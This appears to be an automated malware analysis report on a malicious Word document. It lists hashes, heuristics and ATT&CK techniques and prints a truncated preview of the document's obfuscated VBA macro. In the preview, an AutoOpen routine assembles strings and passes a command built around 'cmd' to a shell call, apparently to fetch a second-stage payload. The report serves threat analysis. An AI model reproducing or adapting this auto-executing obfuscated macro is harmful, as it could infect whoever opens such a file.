Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8cefce56231830a…

MALICIOUS

Office (OLE)

173.1 KB Created: 2018-09-24 06:22:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: c7005a5530bb7083c2ef43c70e44db80 SHA-1: f63ef163822ce1cded5b35e6db60f3ec4ae4b234 SHA-256: a8cefce56231830abb6c7bac63e0cc845f468954e1a90e2b0a69c59cba666025
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing a critical heuristic firing for a Shell() call within its VBA macros. The AutoOpen macro is present, indicating it will execute upon opening. The primary intent appears to be executing arbitrary commands through the Shell() function, likely to download and run a second-stage payload. No specific family could be identified, and the document body was not informative.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 146325 bytes
SHA-256: 3a0cc85d24098afb9f31be7746dfff229eb7f1abaa0650c55bd791349b65a200
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RwmkzFDLNS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim NRQwQk(1)
NRQwQk(0) = MidB(nIDFbvwHiEMUj + GRMqTCXKSSNIlRYZjtmrElJ + OUMstlKiDtc, 724, 312) + MidB(mOspWNfnbiol + HFJZuwwGVKWmUjQPQvqtUHQih + EAqEvoTM, 414, 31) + Mid(shTuaLHKSYqS + LpRiNRVLGlhZrzDNYzLBMpXZarfKX + cduqnWLhbwJ, 863, 725) + Right(PdvFwSzn + qruTaMNzuOTIDrNQkElKNcCOSnLcppBz + NBkvvqAtG, 505)
   Dim HjUnD(1)
HjUnD(0) = MidB(sbpXmUp + RiqpLioFJMRzjkjPTmWmDfbnaDkd + PmaWDCduO, 218, 881) + MidB(ssFrThZTXusmK + NCsjZwkwKJOklXLszriLQvNArrhjs + jMSNjoIvvhFz, 766, 893) + MidB(zoSAwsqclMws + aVSArLsfRDaaiKwZFsIaSpoVqcTpPqSHj + CorUXPZzRMRnn, 869, 13) + Right(fvzKDpBCzNLJIX + lCDQNXKssJZpjwObnfdzwpRZC + JopUBqwjhIlHS, 632)
   Dim jCPjB(1)
jCPjB(0) = MidB(jhrYzvK + dSCILwCjTHBuUVbYDNGoItwjW + AkHOPoYhCmAj, 310, 881) + MidB(WMWwZrGa + itPMNjFjHQvFjDrARquRjcWzjNIih + KfSpZUajmaWaH, 802, 862) + MidB(pRqhjbfkqjYTz + FNWYZLrHGHqNCPKRoQzJaDmFin + noRUtTUIf, 954, 551) + MidB(blSibWkohzo + vVmFJAGUCvhVqTWnPjwSUXGRQbFq + pXzWaobdj, 135, 669)
   Dim Ehnsz(2)
Ehnsz(0) = MidB(lKkmMRwXjDdff + aUYuHMHzsLQlLTiqcbZVwmCITzAf + wGSTDcbdkktB, 22, 268) + MidB(wjzpCiAzZ + EodzNtdEAluGOzbzlowDwTicjUG + uWXoGljHXbIOMm, 830, 522) + Left(LYcXQHliffRtR + rzjqKkEvpNMomhqAjhuvGQDcFBpdKJ + mIksCGcnJD, 373) + MidB(woQNkDmZbcaHH + zjCiHQviQninSiCwHkHNZGuvKfKlv + naAopbDFAZFP, 387, 896)
Ehnsz(1) = Mid(dAXsjaTdYM + DGCjjiqnCHSJHYrTqzFjkXPC + XQcGTBuW, 430, 677) + Right(aXWiOoY + JhlTnwaRMQjjirpCkGzHpzWhKCIb + fOjqmjDT, 93) + Right(FattisLDS + LZwWQRQOoCRBQQEDKPnokXcofKw + oXCJuQPm, 72) + MidB(iDIscWuv + MrYkLwnckGQqcdDzpQGZjKhOkLJP + wcjiYjRcJS, 711, 9)
   Dim ldnGrs(1)
ldnGrs(0) = Mid(oVwJqwUEi + zEinShmnjRTiSPtjXanKqoWIW + LdZJdnDqVZEF, 400, 641) + MidB(OqaWtLz + LtrwvYPIjXotobYkXJSdTmIRvIrz + XRuLsaAp, 937, 713) + MidB(IpCzwInpzRsP + nHTAsYKmXjMszYhUkiSPwKiL + GYinjntV, 937, 855) + MidB(VoiSlPqjVs + nhUrXpJMWfuwCZKQIbpJikdZTVH + OiAzSBwHi, 473, 35)
   Dim fRRwG(2)
fRRwG(0) = MidB(UwCRiCjpPPLST + UALCMmzrjWAlzKIkcawFsmsnUrX + bMwRlDoEVETT, 220, 43) + Mid(EGbpzKrXvTQUw + MsqZYCtjnRzWdjuzQlvOjRVZW + UGrEHaVdZnLiu, 46, 612)
fRRwG(1) = MidB(uJmjZAOPQd + DdXFsSLIWKLGUKAMDGzfM + uFcpqwOV, 419, 206) + Left(BjUBEXzaZFq + PRDBEzLZmFfbfNzzQYwciEuHMEhpP + bfKTRMdEPLP, 426)
   Dim jQMDjQ(2)
jQMDjQ(0) = Left(VMaXqHtQq + sjkTYMrOKGKKTjDQprZwsWZb + EqshmzNwznqoBC, 942) + Mid(QEGDjDZ + SkrwzlPUGdcXVWHPApXzdTIXVq + TfPfdEAnEZjwT, 37, 492) + Mid(kvRdzAhvkOdq + diquwIqsCOmVbajbuQuFJTfhjsqXzq + NcHcjsr, 871, 55) + MidB(ZYUEniaaHid + RbGzLrpivFMTRjvuSoFIPoD + QYUkvjLImr, 641, 225)
jQMDjQ(1) = Mid(dTHBTRt + haOmMTqLISOXlcGYIDUrQobpHnk + kLmKjuzpvfY, 181, 688) + MidB(hftjKUWJ + wzkdjYYiodLwasHjMXjCUHbuEMJNBZ + wOLMHAivJviN, 354, 759) + MidB(KmRBRvPVHiTR + KZqswsYAPDltZZObQDOHaQAzpEd + PtlJXZrL, 255, 193) + Mid(zjCqwtCDIH + RQcvtiwlNqVzoPBZzKtrkcJtKbdDIipsHzvS + lJHLDBjCA, 575, 215)
jbkojkvvjG (KeyString(vbKeyC) + KeyString(vbKeyM) + sqnwcUcvi + FtpNV + sUHfjMX + RSqcHCSzbm + qfhtDM + OPXqvJwFRra + CQboFquAziaU)
   Dim UdzhOb(1)
UdzhOb(0) = MidB(YwjAMcOZdns + lMYMGPsoHGwtXOwwMEjzVbL + WVXYbWjQbVHM, 760, 770) + Right(LDTEzcjGrwSFM + uuJSljzVWozVYnZPOJKQjtpQjfEiDXkM + VjHLhwQCHEh, 75) + Right(qDsNCda + SSqSJuzqLVuuiCpvAhlkjdnAfWKpE + otrdGIKOVicI, 157) + MidB(YGdtnMjphRWtRU + qzwNFzStYaWufsfzlLKIXFDJ + OstUClKJnoao, 693, 389)
   Dim lSLJS(1)
lSLJS(0) = Mid(tVkwrzfzjTacE + hQGusGZYZXjqThaBoqwhjAPV + lJiwYkvDYMkU, 935, 111) + Mid(QpdwsKKDoW + WtclnosPpkRiWrGQUtskarnrbzfI + MjijzjI, 248, 187)
   Dim Hnojw(2)
Hnojw(0) = MidB(VwlZFQzWOmwF + srwvXSfRjwNwrRdLChUpPzZz + wcPAmOwskZCC, 82, 318) + Right(sTGElbV + sYBjvzVCijUMJcVkGzcDALG + ZwVHSVtqvMobh, 1) + Right(UwfJdjAARqfP + UpridjOnrQlaYYzGXfPavNpz + cpiWtrzjDWmRH, 172) + Left(rJcNpRfJzVFOwR + uXLBlPjjmrUcFXGmBVGALJUYYmln + zXjznIccvbzw, 59)
Hnojw(1) = Mid(zzbuvGRnXArRq + AEitUinIwtsEZfOGjhatqcikMzw + UAbt
... (truncated)

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